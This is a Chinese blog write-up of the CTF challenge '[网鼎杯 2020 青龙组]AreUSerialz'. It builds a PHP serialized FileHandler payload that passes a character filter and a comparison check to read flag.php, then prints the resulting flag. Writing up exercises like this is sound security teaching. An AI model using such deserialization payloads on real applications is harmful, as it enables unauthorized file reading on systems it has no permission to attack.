首页 > 其他分享 >[网鼎杯 2020 青龙组]AreUSerialz 1

[网鼎杯 2020 青龙组]AreUSerialz 1

时间:2024-11-12 22:23:48浏览次数:1  
标签:AreUSerialz 青龙 flag 2020 str 网鼎杯

[网鼎杯 2020 青龙组]AreUSerialz 1

打开实例,发现这题为代码审计,查看代码后,确认为GET传递str参数反序列化绕过

image-20241112214049722

查看is_valid()方法,发现str参数传递的任意字符的ASCII码需要在32--125之间

image-20241112214542347

直接构造payload

<?php
class FileHandler
{
    public $op = 2;
    public $filename = 'flag.php';
    public $content = '';

}
$aaa = new FileHandler();
$res = serialize(@$aaa);
echo $res;

执行序列化

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

image-20241112220821672

这边这个op采用数值2是因为需要同时绕过='2'和'2'

image-20241112221010818

image-20241112221030534

,这样一来他既不满足字符串2的绝对等于,又能满足字符串2的模糊等于

执行成功

image-20241112221218856

查看源代码,拿到flag

image-20241112221252921

flag{3953b0d7-7bb3-4624-91ff-54edadfb81a9}

标签:AreUSerialz,青龙,flag,2020,str,网鼎杯
From: https://www.cnblogs.com/tazmi/p/18542768

相关文章

  • 字符串Java--- [蓝桥杯 2020 省 AB3] 日期识别
    题目描述小蓝要处理非常多的数据,其中有一些数据是日期。在小蓝处理的日期中有两种常用的形式:英文形式和数字形式。英文形式采用每个月的英文的前三个字母作为月份标识,后面跟两位数字表示日期,月份标识第一个字母大写,后两个字母小写,日期小于 1010 时要补前导 00。11 ......
  • 历年CSP-J初赛真题解析 | 2020年CSP-J初赛完善程序(34-43)
    学习C++从娃娃抓起!记录下CSP-J备考学习过程中的题目,记录每一个瞬间。附上汇总贴:历年CSP-J初赛真题解析|汇总_热爱编程的通信人的博客-CSDN博客(质因数分解)给出正整数n,请输出将n质因数分解的结果,结果从小到大输出。例如:输入n=120,程序应该输出22235,表示120=2×2×2×......
  • [ACTF2020 新生赛]Exec
    打开页面如下:直接输入127.0.0.1,ping完没反应,猜测可能是命令执行,尝试使用管道符|,输入命令127.0.0.1|ls,有回显尝试往上查找目录,1270.0.1|ls../../../发现flag目录。直接使用cat命令查看,1270.0.1|cat../../../flag......
  • ACTF新生赛2020:swp
    好家伙流量分析启动一路看过来大部分是TCP请求,统计里看看HTTP的请求有一个秘密的压缩包下面还有个提示将HTTP流中的数据导出,查看一下刚刚那个hint.html提示不需要密码,不出意外的话和后面的压缩包有关系猜对咯是需要密码的,但是既然已经提示了不需要密码,那就应该是伪......
  • [ACTF2020 新生赛]Include
    发现flag.php就在这但是不回显结果。这时考虑使用伪协议间接读取源码内容以base64伪协议为例:payload为:?file=php://filter/convert.base64-encode/resource=index.php得到index.php的源码的base64编码形式,PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwK......
  • [网鼎杯 2020 青龙组]AreUSerialz
    [网鼎杯2020青龙组]AreUSerialz上来就是一份代码源文件,完整代码如下:<?phpinclude("flag.php");highlight_file(__FILE__);classFileHandler{protected$op;protected$filename;protected$content;function__cons......
  • Mac+win 2020版本Adobe AI Illustrator 2020中文激活安装包
    Illustrator2020是Adobe公司推出的一款领先的向量图形设计软件。它广泛应用于图标设计、印刷设计、标志设计及Web设计等领域,具备简便的使用方式和强大的功能。Illustrator2020的特色在于其灵活的向量编辑工具和高质量的图形库,以及与其他AdobeCreativeCloud应用程序的无缝互操......
  • [GYCTF2020]Blacklist
    题目链接:[GYCTF2020]Blacklist。打开环境后如下所示。尝试输入1,回显如下。输入'后发现存在报错。尝试使用联合注入,发现存在检测select等关键词。因此尝试下堆叠注入。首先是查询数据库。Payload:0'%3bshow+databases%3b%23。其次是查询当前数据库存在什么表。Pa......
  • [MRCTF2020]套娃
    打开靶机,先看源码<!--//1st$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!=='23333&#......
  • 【buuctf】[WUSTCTF2020]spaceclub
    小白的第七天,日常记录WP。flag奉上:wctf2020{h3re_1s_y0ur_fl@g_s1x_s1x_s1x}1.打开下载的附件发现里面有内容但是被隐藏了。2.使用Sublime_Text打开选中发现了一堆点。3.猜测是二进制数,将长的替换成1,短的替换成0。(先替换长的不然会将短的部分变为1)4.使用python脚本......